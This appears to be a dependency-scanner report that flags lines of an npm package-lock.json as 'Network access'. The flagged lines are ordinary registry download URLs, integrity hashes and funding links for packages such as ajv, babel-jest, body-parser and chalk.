"version": "2.0.3", "resolved": "https://registry.npmjs.org/@types/stack-utils/-/stack-utils-2.0.3.tgz", "integrity": "sha512-9aEbYZ3TbYMznPdcdr3SmIrLXwC/AKZXQeCf9Pgao5CKb8CyHuEX5jzWPTkvregvhRJHcpRO6BFoGW9ycaOkYw==", - Network accessline 1766
"resolved": "https://registry.npmjs.org/@types/stack-utils/-/stack-utils-2.0.3.tgz", - Network accessline 1771
"node_modules/@types/yargs": { "version": "17.0.35", "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-17.0.35.tgz", - Network accessline 1772
"version": "17.0.35", "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-17.0.35.tgz", "integrity": "sha512-qUHkeCyQFxMXg79wQfTtfndEC+N9ZZg76HJftDJp+qH2tV7Gj4OJi7l+PiWwJ+pWtW8GwSmqsDj/oymhrTWXjg==", - Network accessline 1773
"resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-17.0.35.tgz", - Network accessline 1781
"node_modules/@types/yargs-parser": { "version": "21.0.3", "resolved": "https://registry.npmjs.org/@types/yargs-parser/-/yargs-parser-21.0.3.tgz", - Network accessline 1782
"version": "21.0.3", "resolved": "https://registry.npmjs.org/@types/yargs-parser/-/yargs-parser-21.0.3.tgz", "integrity": "sha512-I4q9QU9MQv4oEOz4tAHJtNz1cwuLxn2F3xcc2iV5WdqLPpUnj30aUuxt1mAxYTG+oe8CZMV/+6rU4S4gRDzqtQ==", - Network accessline 1783
"resolved": "https://registry.npmjs.org/@types/yargs-parser/-/yargs-parser-21.0.3.tgz", - Network accessline 1788
"node_modules/accepts": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/accepts/-/accepts-2.0.0.tgz", - Network accessline 1789
"version": "2.0.0", "resolved": "https://registry.npmjs.org/accepts/-/accepts-2.0.0.tgz", "integrity": "sha512-5cvg6CtKwfgdmVqY1WIiXKc3Q1bkRqGLi+2W/6ao+6Y7gu/RCwRuAhGEzh5B4KlszSuTLgZYuqFqo5bImjNKng==", - Network accessline 1790
"resolved": "https://registry.npmjs.org/accepts/-/accepts-2.0.0.tgz", - Network accessline 1803
"node_modules/accepts/node_modules/mime-db": { "version": "1.54.0", "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.54.0.tgz", - Network accessline 1804
"version": "1.54.0", "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.54.0.tgz", "integrity": "sha512-aU5EJuIN2WDemCcAp2vFBfp/m4EAhWJnUNSSw0ixs7/kXbd6Pg64EmwJkNdFhB8aWt1sH2CTXrLxo/iAGV3oPQ==", - Network accessline 1805
"resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.54.0.tgz", - Network accessline 1814
"node_modules/accepts/node_modules/mime-types": { "version": "3.0.2", "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-3.0.2.tgz", - Network accessline 1815
"version": "3.0.2", "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-3.0.2.tgz", "integrity": "sha512-Lbgzdk0h4juoQ9fCKXW4by0UJqj+nOOrI9MJ1sSj4nI8aI2eo1qmvQEie4VD1glsS250n15LsWsYtCugiStS5A==", - Network accessline 1816
"resolved": "https://registry.npmjs.org/mime-types/-/mime-types-3.0.2.tgz", - Network accessline 1827
"funding": { "type": "opencollective", "url": "https://opencollective.com/express" - Network accessline 1828
"type": "opencollective", "url": "https://opencollective.com/express" } - Network accessline 1829
"url": "https://opencollective.com/express" - Network accessline 1832
"node_modules/agent-base": { "version": "7.1.4", "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-7.1.4.tgz", - Network accessline 1833
"version": "7.1.4", "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-7.1.4.tgz", "integrity": "sha512-MnA+YT8fwfJPgBx3m60MNqakm30XOkyIoH1y6huTQvC0PwZG7ki8NacLBcrPbNoo8vEZy7Jpuk7+jMO+CUovTQ==", - Network accessline 1834
"resolved": "https://registry.npmjs.org/agent-base/-/agent-base-7.1.4.tgz", - Network accessline 1842
"node_modules/ajv": { "version": "8.20.0", "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.20.0.tgz", - Network accessline 1843
"version": "8.20.0", "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.20.0.tgz", "integrity": "sha512-Thbli+OlOj+iMPYFBVBfJ3OmCAnaSyNn4M1vz9T6Gka5Jt9ba/HIR56joy65tY6kx/FCF5VXNB819Y7/GUrBGA==", - Network accessline 1844
"resolved": "https://registry.npmjs.org/ajv/-/ajv-8.20.0.tgz", - Network accessline 1855
"funding": { "type": "github", "url": "https://github.com/sponsors/epoberezkin" - Network accessline 1856
"type": "github", "url": "https://github.com/sponsors/epoberezkin" } - Network accessline 1857
"url": "https://github.com/sponsors/epoberezkin" - Network accessline 1860
"node_modules/ajv-formats": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/ajv-formats/-/ajv-formats-3.0.1.tgz", - Network accessline 1861
"version": "3.0.1", "resolved": "https://registry.npmjs.org/ajv-formats/-/ajv-formats-3.0.1.tgz", "integrity": "sha512-8iUql50EUR+uUcdRQ3HDqa6EVyo3docL8g5WJ3FNcWmu62IbkGUue/pEyLBW8VGKKucTPgqeks4fIU1DA4yowQ==", - Network accessline 1862
"resolved": "https://registry.npmjs.org/ajv-formats/-/ajv-formats-3.0.1.tgz", - Network accessline 1879
"node_modules/ansi-escapes": { "version": "4.3.2", "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-4.3.2.tgz", - Network accessline 1880
"version": "4.3.2", "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-4.3.2.tgz", "integrity": "sha512-gKXj5ALrKWQLsYG9jlTRmR/xKluxHV+Z9QEwNIgCfM1/uwPMCuzVVnh5mwTd+OuBZcwSIMbqssNWRm1lE51QaQ==", - Network accessline 1881
"resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-4.3.2.tgz", - Network accessline 1890
}, "funding": { "url": "https://github.com/sponsors/sindresorhus" - Network accessline 1891
"funding": { "url": "https://github.com/sponsors/sindresorhus" } - Network accessline 1892
"url": "https://github.com/sponsors/sindresorhus" - Network accessline 1895
"node_modules/ansi-regex": { "version": "5.0.1", "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", - Network accessline 1896
"version": "5.0.1", "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", - Network accessline 1897
"resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", - Network accessline 1905
"node_modules/ansi-styles": { "version": "4.3.0", "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - Network accessline 1906
"version": "4.3.0", "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - Network accessline 1907
"resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - Network accessline 1916
}, "funding": { "url": "https://github.com/chalk/ansi-styles?sponsor=1" - Network accessline 1917
"funding": { "url": "https://github.com/chalk/ansi-styles?sponsor=1" } - Network accessline 1918
"url": "https://github.com/chalk/ansi-styles?sponsor=1" - Network accessline 1921
"node_modules/anymatch": { "version": "3.1.3", "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz", - Network accessline 1922
"version": "3.1.3", "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz", "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==", - Network accessline 1923
"resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz", - Network accessline 1935
"node_modules/argparse": { "version": "1.0.10", "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", - Network accessline 1936
"version": "1.0.10", "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", - Network accessline 1937
"resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", - Network accessline 1945
"node_modules/asynckit": { "version": "0.4.0", "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", - Network accessline 1946
"version": "0.4.0", "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==", - Network accessline 1947
"resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", - Network accessline 1952
"node_modules/babel-jest": { "version": "29.7.0", "resolved": "https://registry.npmjs.org/babel-jest/-/babel-jest-29.7.0.tgz", - Network accessline 1953
"version": "29.7.0", "resolved": "https://registry.npmjs.org/babel-jest/-/babel-jest-29.7.0.tgz", "integrity": "sha512-BrvGY3xZSwEcCzKvKsCi2GgHqDqsYkOP4/by5xCgIwGXQxIEh+8ew3gmrE1y7XRR6LHZIj6yLYnUi/mm2KXKBg==", - Network accessline 1954
"resolved": "https://registry.npmjs.org/babel-jest/-/babel-jest-29.7.0.tgz", - Network accessline 1974
"node_modules/babel-plugin-istanbul": { "version": "6.1.1", "resolved": "https://registry.npmjs.org/babel-plugin-istanbul/-/babel-plugin-istanbul-6.1.1.tgz", - Network accessline 1975
"version": "6.1.1", "resolved": "https://registry.npmjs.org/babel-plugin-istanbul/-/babel-plugin-istanbul-6.1.1.tgz", "integrity": "sha512-Y1IQok9821cC9onCx5otgFfRm7Lm+I+wwxOx738M/WLPZ9Q42m4IG5W0FNX8WLL2gYMZo3JkuXIH2DOpWM+qwA==" - Network accessline 1976
"resolved": "https://registry.npmjs.org/babel-plugin-istanbul/-/babel-plugin-istanbul-6.1.1.tgz", - Network accessline 1991
"node_modules/babel-plugin-istanbul/node_modules/istanbul-lib-instrument": { "version": "5.2.1", "resolved": "https://registry.npmjs.org/istanbul-lib-instrument/-/istanbul-lib-instrument-5.2.1.tgz", - Network accessline 1992
"version": "5.2.1", "resolved": "https://registry.npmjs.org/istanbul-lib-instrument/-/istanbul-lib-instrument-5.2.1.tgz", "integrity": "sha512-pzqtp31nLv/XFOzXGuvhCb8qhjmTVo5vjVk19XE4CRlSWz0KoeJ3bw9XsA7nOp9YBf4qHjwBxkDzKcME/J29Y - Network accessline 1993
"resolved": "https://registry.npmjs.org/istanbul-lib-instrument/-/istanbul-lib-instrument-5.2.1.tgz", - Network accessline 2008
"node_modules/babel-plugin-istanbul/node_modules/semver": { "version": "6.3.1", "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", - Network accessline 2009
"version": "6.3.1", "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", - Network accessline 2010
"resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", - Network accessline 2018
"node_modules/babel-plugin-jest-hoist": { "version": "29.6.3", "resolved": "https://registry.npmjs.org/babel-plugin-jest-hoist/-/babel-plugin-jest-hoist-29.6.3.tgz", - Network accessline 2019
"version": "29.6.3", "resolved": "https://registry.npmjs.org/babel-plugin-jest-hoist/-/babel-plugin-jest-hoist-29.6.3.tgz", "integrity": "sha512-ESAc/RJvGTFEzRwOTT4+lNDk/GNHMkKbNzsvT0qKRfDyyYTskxB5rnU2njIDYVxXCBHHEI1c0YwHob3WaYu - Network accessline 2020
"resolved": "https://registry.npmjs.org/babel-plugin-jest-hoist/-/babel-plugin-jest-hoist-29.6.3.tgz", - Network accessline 2034
"node_modules/babel-preset-current-node-syntax": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/babel-preset-current-node-syntax/-/babel-preset-current-node-syntax-1.2.0.tgz", - Network accessline 2035
"version": "1.2.0", "resolved": "https://registry.npmjs.org/babel-preset-current-node-syntax/-/babel-preset-current-node-syntax-1.2.0.tgz", "integrity": "sha512-E/VlAEzRrsLEb2+dv8yp3bo4scof3l9nR4lrld+Iy5NyVqgVYUJnDAmunkhPMisRI32 - Network accessline 2036
"resolved": "https://registry.npmjs.org/babel-preset-current-node-syntax/-/babel-preset-current-node-syntax-1.2.0.tgz", - Network accessline 2061
"node_modules/babel-preset-jest": { "version": "29.6.3", "resolved": "https://registry.npmjs.org/babel-preset-jest/-/babel-preset-jest-29.6.3.tgz", - Network accessline 2062
"version": "29.6.3", "resolved": "https://registry.npmjs.org/babel-preset-jest/-/babel-preset-jest-29.6.3.tgz", "integrity": "sha512-0B3bhxR6snWXJZtR/RliHTDPRgn1sNHOR0yVtq/IiQFyuOVjFS+wuio/R4gSNkyYmKmJB4wGZv2NZanmKmTnNA==", - Network accessline 2063
"resolved": "https://registry.npmjs.org/babel-preset-jest/-/babel-preset-jest-29.6.3.tgz", - Network accessline 2078
"node_modules/balanced-match": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", - Network accessline 2079
"version": "1.0.2", "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", - Network accessline 2080
"resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", - Network accessline 2085
"node_modules/baseline-browser-mapping": { "version": "2.10.24", "resolved": "https://registry.npmjs.org/baseline-browser-mapping/-/baseline-browser-mapping-2.10.24.tgz", - Network accessline 2086
"version": "2.10.24", "resolved": "https://registry.npmjs.org/baseline-browser-mapping/-/baseline-browser-mapping-2.10.24.tgz", "integrity": "sha512-I2NkZOOrj2XuguvWCK6OVh9GavsNjZjK908Rq3mIBK25+GD8vPX5w2WdxVqnQ7xx3SrZJiCiZFu+/Oz - Network accessline 2087
"resolved": "https://registry.npmjs.org/baseline-browser-mapping/-/baseline-browser-mapping-2.10.24.tgz", - Network accessline 2098
"node_modules/body-parser": { "version": "2.3.0", "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-2.3.0.tgz", - Network accessline 2099
"version": "2.3.0", "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-2.3.0.tgz", "integrity": "sha512-2cGmJupaNgg+QUwVLAucDuWuoMZ6EX9iHDRswZ5lsNYEmwPaRknMPCLZz07yTzVq/83p4o/wzbDZbBrTvGGTIw==", - Network accessline 2100
"resolved": "https://registry.npmjs.org/body-parser/-/body-parser-2.3.0.tgz", - Network accessline 2119
"funding": { "type": "opencollective", "url": "https://opencollective.com/express" - Network accessline 2120
"type": "opencollective", "url": "https://opencollective.com/express" } - Network accessline 2121
"url": "https://opencollective.com/express" - Network accessline 2124
"node_modules/body-parser/node_modules/content-type": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/content-type/-/content-type-2.0.0.tgz", - Network accessline 2125
"version": "2.0.0", "resolved": "https://registry.npmjs.org/content-type/-/content-type-2.0.0.tgz", "integrity": "sha512-j/O/d7GcZCyNl7/hwZAb606rzqkyvaDctLmckbxLzHvFBzTJHuGEdodATcP3yIRoDrLHkIATJuvzbFlp/ki2cQ==", - Network accessline 2126
"resolved": "https://registry.npmjs.org/content-type/-/content-type-2.0.0.tgz", - Network accessline 2134
"funding": { "type": "opencollective", "url": "https://opencollective.com/express" - Network accessline 2135
"type": "opencollective", "url": "https://opencollective.com/express" } - Network accessline 2136
"url": "https://opencollective.com/express" - Network accessline 2139
"node_modules/body-parser/node_modules/iconv-lite": { "version": "0.7.3", "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.7.3.tgz", - Network accessline 2140
"version": "0.7.3", "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.7.3.tgz", "integrity": "sha512-IKXpvIzjnC9XTAUbVBcMfGS0EPaIXtW6v+zr+RRp+hqULEpo0owZax6wyRwPOJbWbzjYspQwusTsfVr0ifh4uQ==", - Network accessline 2141
"resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.7.3.tgz", - Network accessline 2152
"funding": { "type": "opencollective", "url": "https://opencollective.com/express" - Network accessline 2153
"type": "opencollective", "url": "https://opencollective.com/express" } - Network accessline 2154
"url": "https://opencollective.com/express" - Network accessline 2157
"node_modules/brace-expansion": { "version": "1.1.14", "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.14.tgz", - Network accessline 2158
"version": "1.1.14", "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.14.tgz", "integrity": "sha512-MWPGfDxnyzKU7rNOW9SP/c50vi3xrmrua/+6hfPbCS2ABNWfx24vPidzvC7krjU/RTo235sV776ymlsMtGKj8g==", - Network accessline 2159
"resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.14.tgz", - Network accessline 2168
"node_modules/braces": { "version": "3.0.3", "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz", - Network accessline 2169
"version": "3.0.3", "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz", "integrity": "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==", - Network accessline 2170
"resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz", - Network accessline 2181
"node_modules/browserslist": { "version": "4.28.2", "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.28.2.tgz", - Network accessline 2182
"version": "4.28.2", "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.28.2.tgz", "integrity": "sha512-48xSriZYYg+8qXna9kwqjIVzuQxi+KYWp2+5nCYnYKPTr0LvD89Jqk2Or5ogxz0NUMfIjhh2lIUX/LyX9B4oIg==", - Network accessline 2183
"resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.28.2.tgz", - Network accessline 2187
{ "type": "opencollective", "url": "https://opencollective.com/browserslist" - Network accessline 2188
"type": "opencollective", "url": "https://opencollective.com/browserslist" }, - Network accessline 2189
"url": "https://opencollective.com/browserslist" - Network accessline 2191
{ "type": "tidelift", "url": "https://tidelift.com/funding/github/npm/browserslist" - Network accessline 2192
"type": "tidelift", "url": "https://tidelift.com/funding/github/npm/browserslist" }, - Network accessline 2193
"url": "https://tidelift.com/funding/github/npm/browserslist" - Network accessline 2195
{ "type": "github", "url": "https://github.com/sponsors/ai" - Network accessline 2196
"type": "github", "url": "https://github.com/sponsors/ai" } - Network accessline 2197
"url": "https://github.com/sponsors/ai" - Network accessline 2215
"node_modules/bser": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/bser/-/bser-2.1.1.tgz", - Network accessline 2216
"version": "2.1.1", "resolved": "https://registry.npmjs.org/bser/-/bser-2.1.1.tgz", "integrity": "sha512-gQxTNE/GAfIIrmHLUE3oJyp5FO6HRBfhjnw4/wMmA63ZGDJnWBmgY/lyQBpnDUkGmAhbSe39tx2d/iTOAfglwQ==", - Network accessline 2217
"resolved": "https://registry.npmjs.org/bser/-/bser-2.1.1.tgz", - Network accessline 2225
"node_modules/buffer-from": { "version": "1.1.2", "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz", - Network accessline 2226
"version": "1.1.2", "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz", "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==", - Network accessline 2227
"resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz", - Network accessline 2232
"node_modules/bytes": { "version": "3.1.2", "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz", - Network accessline 2233
"version": "3.1.2", "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz", "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==", - Network accessline 2234
"resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz", - Network accessline 2243
"node_modules/call-bind-apply-helpers": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz", - Network accessline 2244
"version": "1.0.2", "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz", "integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuM - Network accessline 2245
"resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz", - Network accessline 2257
"node_modules/call-bound": { "version": "1.0.4", "resolved": "https://registry.npmjs.org/call-bound/-/call-bound-1.0.4.tgz", - Network accessline 2258
"version": "1.0.4", "resolved": "https://registry.npmjs.org/call-bound/-/call-bound-1.0.4.tgz", "integrity": "sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==", - Network accessline 2259
"resolved": "https://registry.npmjs.org/call-bound/-/call-bound-1.0.4.tgz", - Network accessline 2270
}, "funding": { "url": "https://github.com/sponsors/ljharb" - Network accessline 2271
"funding": { "url": "https://github.com/sponsors/ljharb" } - Network accessline 2272
"url": "https://github.com/sponsors/ljharb" - Network accessline 2275
"node_modules/callsites": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz", - Network accessline 2276
"version": "3.1.0", "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz", "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==", - Network accessline 2277
"resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz", - Network accessline 2285
"node_modules/camelcase": { "version": "5.3.1", "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz", - Network accessline 2286
"version": "5.3.1", "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz", "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==", - Network accessline 2287
"resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz", - Network accessline 2295
"node_modules/caniuse-lite": { "version": "1.0.30001791", "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001791.tgz", - Network accessline 2296
"version": "1.0.30001791", "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001791.tgz", "integrity": "sha512-yk0l/YSrOnFZk3UROpDLQD9+kC1l4meK/wed583AXrzoarMGJcbRi2Q4RaUYbKxYAsZ8sWmaSa/DsLmdBeI1vQ==", - Network accessline 2297
"resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001791.tgz", - Network accessline 2301
{ "type": "opencollective", "url": "https://opencollective.com/browserslist" - Network accessline 2302
"type": "opencollective", "url": "https://opencollective.com/browserslist" }, - Network accessline 2303
"url": "https://opencollective.com/browserslist" - Network accessline 2305
{ "type": "tidelift", "url": "https://tidelift.com/funding/github/npm/caniuse-lite" - Network accessline 2306
"type": "tidelift", "url": "https://tidelift.com/funding/github/npm/caniuse-lite" }, - Network accessline 2307
"url": "https://tidelift.com/funding/github/npm/caniuse-lite" - Network accessline 2309
{ "type": "github", "url": "https://github.com/sponsors/ai" - Network accessline 2310
"type": "github", "url": "https://github.com/sponsors/ai" } - Network accessline 2311
"url": "https://github.com/sponsors/ai" - Network accessline 2316
"node_modules/chalk": { "version": "4.1.2", "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - Network accessline 2317
"version": "4.1.2", "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", - Network accessline 2318
"resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - Network accessline 2328
}, "funding": { "url": "https://github.com/chalk/chalk?sponsor=1" - Network accessline 2329
"funding": { "url": "https://github.com/chalk/chalk?sponsor=1" } - Network accessline 2330
"url": "https://github.com/chalk/chalk?sponsor=1" - Network accessline 2333
"node_modules/char-regex": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/char-regex/-/char-regex-1.0.2.tgz", - Network accessline 2334
"version": "1.0.2", "resolved": "https://registry.npmjs.org/char-regex/-/char-regex-1.0.2.tgz", "integrity": "sha512-kWWXztvZ5SBQV+eRgKFeh8q5sLuZY2+8WUIzlxWVTg+oGwY14qylx1KbKzHd8P6ZYkAg0xyIDU9JMHhyJMZ1jw==", - Network accessline 2335
"resolved": "https://registry.npmjs.org/char-regex/-/char-regex-1.0.2.tgz", - Network accessline 2343
"node_modules/ci-info": { "version": "3.9.0", "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.9.0.tgz", - Network accessline 2344
"version": "3.9.0", "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.9.0.tgz", "integrity": "sha512-NIxF55hv4nSqQswkAeiOi1r83xy8JldOFDTWiug55KBu9Jnblncd2U6ViHmYgHf01TPZS77NJBhBMKdWj9HQMQ==", - Network accessline 2345
"resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.9.0.tgz", - Network accessline 2349
{ "type": "github", "url": "https://github.com/sponsors/sibiraj-s" - Network accessline 2350
"type": "github", "url": "https://github.com/sponsors/sibiraj-s" } - Network accessline 2351
"url": "https://github.com/sponsors/sibiraj-s" - Network accessline 2359
"node_modules/cjs-module-lexer": { "version": "1.4.3", "resolved": "https://registry.npmjs.org/cjs-module-lexer/-/cjs-module-lexer-1.4.3.tgz", - Network accessline 2360
"version": "1.4.3", "resolved": "https://registry.npmjs.org/cjs-module-lexer/-/cjs-module-lexer-1.4.3.tgz", "integrity": "sha512-9z8TZaGM1pfswYeXrUpzPrkx8UnWYdhJclsiYMm6x/w5+nN+8Tf/LnAgfLGQCm59qAOxU8WwHEq2vNwF6i4j+Q==", - Network accessline 2361
"resolved": "https://registry.npmjs.org/cjs-module-lexer/-/cjs-module-lexer-1.4.3.tgz", - Network accessline 2366
"node_modules/cliui": { "version": "8.0.1", "resolved": "https://registry.npmjs.org/cliui/-/cliui-8.0.1.tgz", - Network accessline 2367
"version": "8.0.1", "resolved": "https://registry.npmjs.org/cliui/-/cliui-8.0.1.tgz", "integrity": "sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ==", - Network accessline 2368
"resolved": "https://registry.npmjs.org/cliui/-/cliui-8.0.1.tgz", - Network accessline 2381
"node_modules/co": { "version": "4.6.0", "resolved": "https://registry.npmjs.org/co/-/co-4.6.0.tgz", - Network accessline 2382
"version": "4.6.0", "resolved": "https://registry.npmjs.org/co/-/co-4.6.0.tgz", "integrity": "sha512-QVb0dM5HvG+uaxitm8wONl7jltx8dqhfU33DcqtOZcLSVIKSDDLDi7+0LbAKiyI8hD9u42m2YxXSkMGWThaecQ==", - Network accessline 2383
"resolved": "https://registry.npmjs.org/co/-/co-4.6.0.tgz", - Network accessline 2392
"node_modules/collect-v8-coverage": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/collect-v8-coverage/-/collect-v8-coverage-1.0.3.tgz", - Network accessline 2393
"version": "1.0.3", "resolved": "https://registry.npmjs.org/collect-v8-coverage/-/collect-v8-coverage-1.0.3.tgz", "integrity": "sha512-1L5aqIkwPfiodaMgQunkF1zRhNqifHBmtbbbxcr6yVxxBnliw4TDOW6NxpO8DJLgJ16OT+Y4ztZqP6p/FtXnAw==", - Network accessline 2394
"resolved": "https://registry.npmjs.org/collect-v8-coverage/-/collect-v8-coverage-1.0.3.tgz", - Network accessline 2399
"node_modules/color-convert": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - Network accessline 2400
"version": "2.0.1", "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - Network accessline 2401
"resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - Network accessline 2412
"node_modules/color-name": { "version": "1.1.4", "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - Network accessline 2413
